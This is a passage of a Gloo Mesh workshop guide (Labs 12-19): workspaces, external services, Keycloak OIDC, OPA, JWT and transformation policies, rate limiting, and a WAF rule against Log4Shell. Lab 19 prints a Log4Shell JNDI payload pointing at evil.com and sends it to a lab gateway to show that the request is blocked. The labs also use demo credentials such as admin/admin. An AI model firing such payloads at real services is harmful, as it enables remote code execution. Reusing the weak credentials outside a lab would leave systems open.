Lab 12 - Create the httpbin workspace

We're going to create a workspace for the team in charge of the httpbin application.

The platform team needs to create the corresponding Workspace Kubernetes objects in the Gloo Mesh management cluster.

Let's create the httpbin workspace which corresponds to the httpbin namespace on cluster1:

kubectl apply --context ${MGMT} -f- <<EOF
apiVersion: admin.gloo.solo.io/v2
kind: Workspace
metadata:
  name: httpbin
  namespace: gloo-mesh
  labels:
    allow_ingress: "true"
spec:
  workloadClusters:
  - name: cluster1
    namespaces:
    - name: httpbin
EOF

Then, the Httpbin team creates a WorkspaceSettings Kubernetes object in one of the namespaces of the httpbin workspace:

kubectl apply --context ${CLUSTER1} -f- <<EOF
apiVersion: admin.gloo.solo.io/v2
kind: WorkspaceSettings
metadata:
  name: httpbin
  namespace: httpbin
spec:
  importFrom:
  - workspaces:
    - name: gateways
    resources:
    - kind: SERVICE
  exportTo:
  - workspaces:
    - name: gateways
    resources:
    - kind: SERVICE
      labels:
        app: in-mesh
    - kind: ALL
      labels:
        expose: "true"
EOF

The Httpbin team has decided to export the following to the gateway workspace (using a reference):

  • the in-mesh Kubernetes service
  • all the resources (RouteTables, VirtualDestination, ...) that have the label expose set to true

Lab 13 - Expose an external service

In this step, we're going to expose an external service through a Gateway using Gloo Mesh and show how we can then migrate this service to the Mesh.

Let's create an ExternalService corresponding to httpbin.org:

kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: networking.gloo.solo.io/v2
kind: ExternalService
metadata:
  name: httpbin
  namespace: httpbin
  labels:
    expose: "true"
spec:
  hosts:
  - httpbin.org
  ports:
  - name: http
    number: 80
    protocol: HTTP
  - name: https
    number: 443
    protocol: HTTPS
    clientsideTls: {}
EOF

Now, you can create a RouteTable to expose httpbin.org through the gateway:

kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: networking.gloo.solo.io/v2
kind: RouteTable
metadata:
  name: httpbin
  namespace: httpbin
  labels:
    expose: "true"
spec:
  http:
    - name: httpbin
      matchers:
      - uri:
          exact: /get
      forwardTo:
        destinations:
        - kind: EXTERNAL_SERVICE
          port:
            number: 443
          ref:
            name: httpbin
            namespace: httpbin
EOF

You should now be able to access httpbin.org external service through the gateway.

Get the URL to access the httpbin service using the following command:

echo "https://${ENDPOINT_HTTPS_GW_CLUSTER1}/get"

Let's update the RouteTable to direct 50% of the traffic to the local httpbin service:

kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: networking.gloo.solo.io/v2
kind: RouteTable
metadata:
  name: httpbin
  namespace: httpbin
  labels:
    expose: "true"
spec:
  http:
    - name: httpbin
      matchers:
      - uri:
          exact: /get
      forwardTo:
        destinations:
        - kind: EXTERNAL_SERVICE
          port:
            number: 443
          ref:
            name: httpbin
            namespace: httpbin
          weight: 50
        - ref:
            name: in-mesh
            namespace: httpbin
          port:
            number: 8000
          weight: 50
EOF

If you refresh your browser, you should see that you get a response either from the local service or from the external service.

When the response comes from the external service (httpbin.org), there's a X-Amzn-Trace-Id header.

And when the response comes from the local service, there's a X-B3-Parentspanid header.

Finally, you can update the RouteTable to direct all the traffic to the local httpbin service:

kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: networking.gloo.solo.io/v2
kind: RouteTable
metadata:
  name: httpbin
  namespace: httpbin
  labels:
    expose: "true"
spec:
  http:
    - name: httpbin
      matchers:
      - uri:
          exact: /get
      forwardTo:
        destinations:
        - ref:
            name: in-mesh
            namespace: httpbin
          port:
            number: 8000
EOF

If you refresh your browser, you should see that you get responses only from the local service.

This diagram shows the flow of the requests :

Gloo Mesh Gateway EXternal Service

Lab 14 - Deploy Keycloak

In many use cases, you need to restrict the access to your applications to authenticated users.

OIDC (OpenID Connect) is an identity layer on top of the OAuth 2.0 protocol. In OAuth 2.0 flows, authentication is performed by an external Identity Provider (IdP) which, in case of success, returns an Access Token representing the user identity. The protocol does not define the contents and structure of the Access Token, which greatly reduces the portability of OAuth 2.0 implementations.

The goal of OIDC is to address this ambiguity by additionally requiring Identity Providers to return a well-defined ID Token. OIDC ID tokens follow the JSON Web Token standard and contain specific fields that your applications can expect and handle. This standardization allows you to switch between Identity Providers – or support multiple ones at the same time – with minimal, if any, changes to your downstream services; it also allows you to consistently apply additional security measures like Role-based Access Control (RBAC) based on the identity of your users, i.e. the contents of their ID token.

In this lab, we're going to install Keycloak. It will allow us to setup OIDC workflows later.

Let's install it:

kubectl --context ${MGMT} create namespace keycloak
cat data/steps/deploy-keycloak/keycloak.yaml | kubectl --context ${MGMT} -n keycloak apply -f -

kubectl --context ${MGMT} -n keycloak rollout status deploy/keycloak

Then, we will configure it and create two users:

Let's set the environment variables we need:

export ENDPOINT_KEYCLOAK=$(kubectl --context ${MGMT} -n keycloak get service keycloak -o jsonpath='{.status.loadBalancer.ingress[0].*}'):8080
export HOST_KEYCLOAK=$(echo ${ENDPOINT_KEYCLOAK} | cut -d: -f1)
export PORT_KEYCLOAK=$(echo ${ENDPOINT_KEYCLOAK} | cut -d: -f2)
export KEYCLOAK_URL=http://${ENDPOINT_KEYCLOAK}

Now, we need to get a token:

export KEYCLOAK_TOKEN=$(curl -d "client_id=admin-cli" -d "username=admin" -d "password=admin" -d "grant_type=password" "$KEYCLOAK_URL/realms/master/protocol/openid-connect/token" | jq -r .access_token)

After that, we configure Keycloak:

# Create initial token to register the client
read -r client token <<<$(curl -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -X POST -H "Content-Type: application/json" -d '{"expiration": 0, "count": 1}' $KEYCLOAK_URL/admin/realms/master/clients-initial-access | jq -r '[.id, .token] | @tsv')
export KEYCLOAK_CLIENT=${client}

# Register the client
read -r id secret <<<$(curl -X POST -d "{ \"clientId\": \"${KEYCLOAK_CLIENT}\" }" -H "Content-Type:application/json" -H "Authorization: bearer ${token}" ${KEYCLOAK_URL}/realms/master/clients-registrations/default| jq -r '[.id, .secret] | @tsv')
export KEYCLOAK_SECRET=${secret}

# Add allowed redirect URIs
curl -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -X PUT -H "Content-Type: application/json" -d '{"serviceAccountsEnabled": true, "directAccessGrantsEnabled": true, "authorizationServicesEnabled": true, "redirectUris": ["'https://${ENDPOINT_HTTPS_GW_CLUSTER1}'/callback","'https://${ENDPOINT_HTTPS_GW_CLUSTER1}'/get"]}' $KEYCLOAK_URL/admin/realms/master/clients/${id}

# Add the group attribute in the JWT token returned by Keycloak
curl -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -X POST -H "Content-Type: application/json" -d '{"name": "group", "protocol": "openid-connect", "protocolMapper": "oidc-usermodel-attribute-mapper", "config": {"claim.name": "group", "jsonType.label": "String", "user.attribute": "group", "id.token.claim": "true", "access.token.claim": "true"}}' $KEYCLOAK_URL/admin/realms/master/clients/${id}/protocol-mappers/models

# Create first user
curl -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -X POST -H "Content-Type: application/json" -d '{"username": "user1", "email": "user1@example.com", "enabled": true, "attributes": {"group": "users"}, "credentials": [{"type": "password", "value": "password", "temporary": false}]}' $KEYCLOAK_URL/admin/realms/master/users

# Create second user
curl -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -X POST -H "Content-Type: application/json" -d '{"username": "user2", "email": "user2@solo.io", "enabled": true, "attributes": {"group": "users"}, "credentials": [{"type": "password", "value": "password", "temporary": false}]}' $KEYCLOAK_URL/admin/realms/master/users

Note: If you get a Not Authorized error, please, re-run this command and continue from the command started to fail:

KEYCLOAK_TOKEN=$(curl -d "client_id=admin-cli" -d "username=admin" -d "password=admin" -d "grant_type=password" "$KEYCLOAK_URL/realms/master/protocol/openid-connect/token" | jq -r .access_token)

Lab 15 - Securing the access with OAuth

In this step, we're going to secure the access to the httpbin service using OAuth.

First, we need to create a Kubernetes Secret that contains the OIDC secret:

kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: v1
kind: Secret
metadata:
  name: oauth
  namespace: httpbin
type: extauth.solo.io/oauth
data:
  client-secret: $(echo -n ${KEYCLOAK_SECRET} | base64)
EOF

Then, you need to create an ExtAuthPolicy, which is a CRD that contains authentication information:

kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: security.policy.gloo.solo.io/v2
kind: ExtAuthPolicy
metadata:
  name: httpbin
  namespace: httpbin
spec:
  applyToRoutes:
  - route:
      labels:
        oauth: "true"
  config:
    server:
      name: ext-auth-server
      namespace: httpbin
      cluster: cluster1
    glooAuth:
      configs:
      - oauth2:
          oidcAuthorizationCode:
            appUrl: "https://${ENDPOINT_HTTPS_GW_CLUSTER1}"
            callbackPath: /callback
            clientId: ${KEYCLOAK_CLIENT}
            clientSecretRef:
              name: oauth
              namespace: httpbin
            issuerUrl: "${KEYCLOAK_URL}/realms/master/"
            session:
              failOnFetchFailure: true
              redis:
                cookieName: keycloak-session
                options:
                  host: redis:6379
            scopes:
            - email
            headers:
              idTokenHeader: jwt
EOF

After that, you need to create an ExtAuthServer, which is a CRD that define which extauth server to use:

kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: admin.gloo.solo.io/v2
kind: ExtAuthServer
metadata:
  name: ext-auth-server
  namespace: httpbin
spec:
  destinationServer:
    ref:
      cluster: cluster1
      name: ext-auth-service
      namespace: gloo-mesh-addons
    port:
      name: grpc
EOF

Finally, you need to update the RouteTable to use this ExtAuthPolicy:

kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: networking.gloo.solo.io/v2
kind: RouteTable
metadata:
  name: httpbin
  namespace: httpbin
  labels:
    expose: "true"
spec:
  http:
    - name: httpbin
      labels:
        oauth: "true"
      matchers:
      - uri:
          exact: /get
      - uri:
          exact: /logout
      - uri:
          prefix: /callback
      forwardTo:
        destinations:
        - ref:
            name: in-mesh
            namespace: httpbin
          port:
            number: 8000
EOF

If you refresh the web browser, you will be redirected to the authentication page.

If you use the username user1 and the password password you should be redirected back to the httpbin application.

You can also perform authorization using OPA.

First, you need to create a ConfigMap with the policy written in rego:

kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: v1
kind: ConfigMap
metadata:
  name: allow-solo-email-users
  namespace: httpbin
data:
  policy.rego: |-
    package test

    default allow = false

    allow {
        [header, payload, signature] = io.jwt.decode(input.state.jwt)
        endswith(payload["email"], "@solo.io")
    }
EOF

Then, you need to update the ExtAuthPolicy object to add the authorization step:

kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: security.policy.gloo.solo.io/v2
kind: ExtAuthPolicy
metadata:
  name: httpbin
  namespace: httpbin
spec:
  applyToRoutes:
  - route:
      labels:
        oauth: "true"
  config:
    server:
      name: ext-auth-server
      namespace: httpbin
      cluster: cluster1
    glooAuth:
      configs:
      - oauth2:
          oidcAuthorizationCode:
            appUrl: "https://${ENDPOINT_HTTPS_GW_CLUSTER1}"
            callbackPath: /callback
            clientId: ${KEYCLOAK_CLIENT}
            clientSecretRef:
              name: oauth
              namespace: httpbin
            issuerUrl: "${KEYCLOAK_URL}/realms/master/"
            logoutPath: /logout
            afterLogoutUrl: "https://${ENDPOINT_HTTPS_GW_CLUSTER1}/get"
            session:
              failOnFetchFailure: true
              redis:
                cookieName: keycloak-session
                options:
                  host: redis:6379
            scopes:
            - email
            headers:
              idTokenHeader: jwt
      - opaAuth:
          modules:
          - name: allow-solo-email-users
            namespace: httpbin
          query: "data.test.allow == true"
EOF

Refresh the web page. user1 shouldn't be allowed to access it anymore since the user's email ends with @example.com. If you open the browser in incognito and login using the username user2 and the password password, you will now be able to access it since the user's email ends with @solo.io.

This diagram shows the flow of the request (with the Istio ingress gateway leveraging the extauth Pod to authorize the request):

Gloo Mesh Gateway Extauth

Lab 16 - Use the JWT filter to create headers from claims

In this step, we're going to validate the JWT token and to create a new header from the email claim.

Keycloak is running outside of the Service Mesh, so we need to define an ExternalService and its associated ExternalEndpoint:

Let's start by the latter:

kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: networking.gloo.solo.io/v2
kind: ExternalEndpoint
metadata:
  name: keycloak
  namespace: httpbin
  labels:
    host: keycloak
spec:
  address: ${HOST_KEYCLOAK}
  ports:
  - name: http
    number: ${PORT_KEYCLOAK}
EOF

Then we can create the former:

kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: networking.gloo.solo.io/v2
kind: ExternalService
metadata:
  name: keycloak
  namespace: httpbin
  labels:
    expose: "true"
spec:
  hosts:
  - keycloak
  ports:
  - name: http
    number: ${PORT_KEYCLOAK}
    protocol: HTTP
  selector:
    host: keycloak
EOF

Now, we can create a JWTPolicy to extract the claim.

Create the policy:

kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: security.policy.gloo.solo.io/v2
kind: JWTPolicy
metadata:
  name: httpbin
  namespace: httpbin
spec:
  applyToRoutes:
  - route:
      labels:
        oauth: "true"
  config:
    phase:
      postAuthz:
        priority: 1
    providers:
      keycloak:
        issuer: ${KEYCLOAK_URL}/realms/master
        tokenSource:
          headers:
          - name: jwt
        remote:
          url: ${KEYCLOAK_URL}/realms/master/protocol/openid-connect/certs
          destinationRef:
            kind: EXTERNAL_SERVICE
            ref:
              name: keycloak
            port:
              number: ${PORT_KEYCLOAK}
        claimsToHeaders:
        - claim: email
          header: X-Email
EOF

You can see that it will be applied to our existing route and also that we want to execute it after performing the external authentication (to have access to the JWT token).

If you refresh the web page, you should see a new X-Email header added to the request with the value user2@solo.io

Lab 17 - Use the transformation filter to manipulate headers

In this step, we're going to use a regular expression to extract a part of an existing header and to create a new one:

Let's create a TransformationPolicy to extract the claim.

kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: trafficcontrol.policy.gloo.solo.io/v2
kind: TransformationPolicy
metadata:
  name: modify-header
  namespace: httpbin
spec:
  applyToRoutes:
  - route:
      labels:
        oauth: "true"
  config:
    phase:
      postAuthz:
        priority: 2
    request:
      injaTemplate:
        extractors:
          organization:
            header: 'X-Email'
            regex: '.*@(.*)$'
            subgroup: 1
        headers:
          x-organization:
            text: "{{ organization }}"
EOF

You can see that it will be applied to our existing route and also that we want to execute it after performing the external authentication (to have access to the JWT token).

If you refresh the web page, you should see a new X-Organization header added to the request with the value solo.io

Lab 18 - Apply rate limiting to the Gateway

In this step, we're going to apply rate limiting to the Gateway to only allow 3 requests per minute for the users of the solo.io organization.

First, we need to create a RateLimitClientConfig object to define the descriptors:

kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: trafficcontrol.policy.gloo.solo.io/v2
kind: RateLimitClientConfig
metadata:
  name: httpbin
  namespace: httpbin
spec:
  raw:
    rateLimits:
    - setActions:
      - requestHeaders:
          descriptorKey: organization
          headerName: X-Organization
EOF

Then, we need to create a RateLimitServerConfig object to define the limits based on the descriptors:

kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: admin.gloo.solo.io/v2
kind: RateLimitServerConfig
metadata:
  name: httpbin
  namespace: httpbin
spec:
  destinationServers:
  - ref:
      cluster: cluster1
      name: rate-limiter
      namespace: gloo-mesh-addons
    port:
      name: grpc
  raw:
    setDescriptors:
      - simpleDescriptors:
          - key: organization
            value: solo.io
        rateLimit:
          requestsPerUnit: 3
          unit: MINUTE
EOF

After that, we need to create a RateLimitPolicy object to define the descriptors:

kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: trafficcontrol.policy.gloo.solo.io/v2
kind: RateLimitPolicy
metadata:
  name: httpbin
  namespace: httpbin
spec:
  applyToRoutes:
  - route:
      labels:
        ratelimited: "true"
  config:
    serverSettings:
      name: rate-limit-server
      namespace: httpbin
      cluster: cluster1
    ratelimitClientConfig:
      name: httpbin
      namespace: httpbin
      cluster: cluster1
    ratelimitServerConfig:
      name: httpbin
      namespace: httpbin
      cluster: cluster1
    phase:
      postAuthz:
        priority: 3
EOF

We also need to create a RateLimitServerSettings, which is a CRD that define which extauth server to use:

kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: admin.gloo.solo.io/v2
kind: RateLimitServerSettings
metadata:
  name: rate-limit-server
  namespace: httpbin
spec:
  destinationServer:
    ref:
      cluster: cluster1
      name: rate-limiter
      namespace: gloo-mesh-addons
    port:
      name: grpc
EOF

Finally, you need to update the RouteTable to use this RateLimitPolicy:

kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: networking.gloo.solo.io/v2
kind: RouteTable
metadata:
  name: httpbin
  namespace: httpbin
  labels:
    expose: "true"
spec:
  http:
    - name: httpbin
      labels:
        oauth: "true"
        ratelimited: "true"
      matchers:
      - uri:
          exact: /get
      - uri:
          prefix: /callback
      forwardTo:
        destinations:
        - ref:
            name: in-mesh
            namespace: httpbin
          port:
            number: 8000
EOF

Refresh the web page multiple times.

You should get a 200 response code the first 3 time and a 429 response code after.

This diagram shows the flow of the request (with the Istio ingress gateway leveraging the rate limiter Pod to determine if the request should be allowed):

Gloo Mesh Gateway Rate Limiting

Let's apply the original RouteTable yaml:

kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: networking.gloo.solo.io/v2
kind: RouteTable
metadata:
  name: httpbin
  namespace: httpbin
  labels:
    expose: "true"
spec:
  http:
    - name: httpbin
      matchers:
      - uri:
          exact: /get
      forwardTo:
        destinations:
        - ref:
            name: in-mesh
            namespace: httpbin
          port:
            number: 8000
EOF

And also delete the different objects we've created:

kubectl --context ${CLUSTER1} -n httpbin delete ratelimitpolicy httpbin
kubectl --context ${CLUSTER1} -n httpbin delete ratelimitclientconfig httpbin
kubectl --context ${CLUSTER1} -n httpbin delete ratelimitserverconfig httpbin
kubectl --context ${CLUSTER1} -n httpbin delete ratelimitserversettings rate-limit-server

Lab 19 - Use the Web Application Firewall filter

A web application firewall (WAF) protects web applications by monitoring, filtering, and blocking potentially harmful traffic and attacks that can overtake or exploit them.

Gloo Mesh includes the ability to enable the ModSecurity Web Application Firewall for any incoming and outgoing HTTP connections.

An example of how using Gloo Mesh we'd easily mitigate the recent Log4Shell vulnerability (CVE-2021-44228), which for many enterprises was a major ordeal that took weeks and months of updating all services.

The Log4Shell vulnerability impacted all Java applications that used the log4j library (common library used for logging) and that exposed an endpoint. You could exploit the vulnerability by simply making a request with a specific header. In the example below, we will show how to protect your services against the Log4Shell exploit.

Using the Web Application Firewall capabilities you can reject requests containing such headers.

Log4Shell attacks operate by passing in a Log4j expression that could trigger a lookup to a remote server, like a JNDI identity service. The malicious expression might look something like this: ${jndi:ldap://evil.com/x}. It might be passed in to the service via a header, a request argument, or a request payload. What the attacker is counting on is that the vulnerable system will log that string using log4j without checking it. That’s what triggers the destructive JNDI lookup and the ultimate execution of malicious code.

Create the WAF policy:

kubectl --context ${CLUSTER1} apply -f - <<'EOF'
apiVersion: security.policy.gloo.solo.io/v2
kind: WAFPolicy
metadata:
  name: log4shell
  namespace: httpbin
spec:
  applyToRoutes:
  - route:
      labels:
        waf: "true"
  config:
    disableCoreRuleSet: true
    customInterventionMessage: 'Log4Shell malicious payload'
    customRuleSets:
    - ruleStr: |
        SecRuleEngine On
        SecRequestBodyAccess On
        SecRule REQUEST_LINE|ARGS|ARGS_NAMES|REQUEST_COOKIES|REQUEST_COOKIES_NAMES|REQUEST_BODY|REQUEST_HEADERS|XML:/*|XML://@*  
          "@rx \${jndi:(?:ldaps?|iiop|dns|rmi)://" 
          "id:1000,phase:2,deny,status:403,log,msg:'Potential Remote Command Execution: Log4j CVE-2021-44228'"
EOF

In this example, we're going to update the main RouteTable to enforce this policy for all the applications exposed through the gateway (in any workspace).

kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: networking.gloo.solo.io/v2
kind: RouteTable
metadata:
  name: main
  namespace: istio-gateways
spec:
  hosts:
    - '*'
  virtualGateways:
    - name: north-south-gw
      namespace: istio-gateways
      cluster: cluster1
  workloadSelectors: []
  http:
    - name: root
      labels:
        waf: "true"
      matchers:
      - uri:
          prefix: /
      delegate:
        routeTables:
          - labels:
              expose: "true"
EOF

Run the following command to simulate an attack:

curl -H "User-Agent: \${jndi:ldap://evil.com/x}" -k "https://${ENDPOINT_HTTPS_GW_CLUSTER1}/get" -i

The request should be rejected:

HTTP/2 403 
content-length: 27
content-type: text/plain
date: Tue, 05 Apr 2022 10:20:06 GMT
server: istio-envoy

Log4Shell malicious payload

Let's apply the original RouteTable yaml:

kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: networking.gloo.solo.io/v2
kind: RouteTable
metadata:
  name: main
  namespace: istio-gateways
spec:
  hosts:
    - '*'
  virtualGateways:
    - name: north-south-gw
      namespace: istio-gateways
      cluster: cluster1
  workloadSelectors: []
  http:
    - name: root
      matchers:
      - uri:
          prefix: /
      delegate:
        routeTables:
          - labels:
              expose: "true"
EOF

And also delete the waf policy we've created:

kubectl --context ${CLUSTER1} -n httpbin delete wafpolicies.security.policy.gloo.solo.io log4shell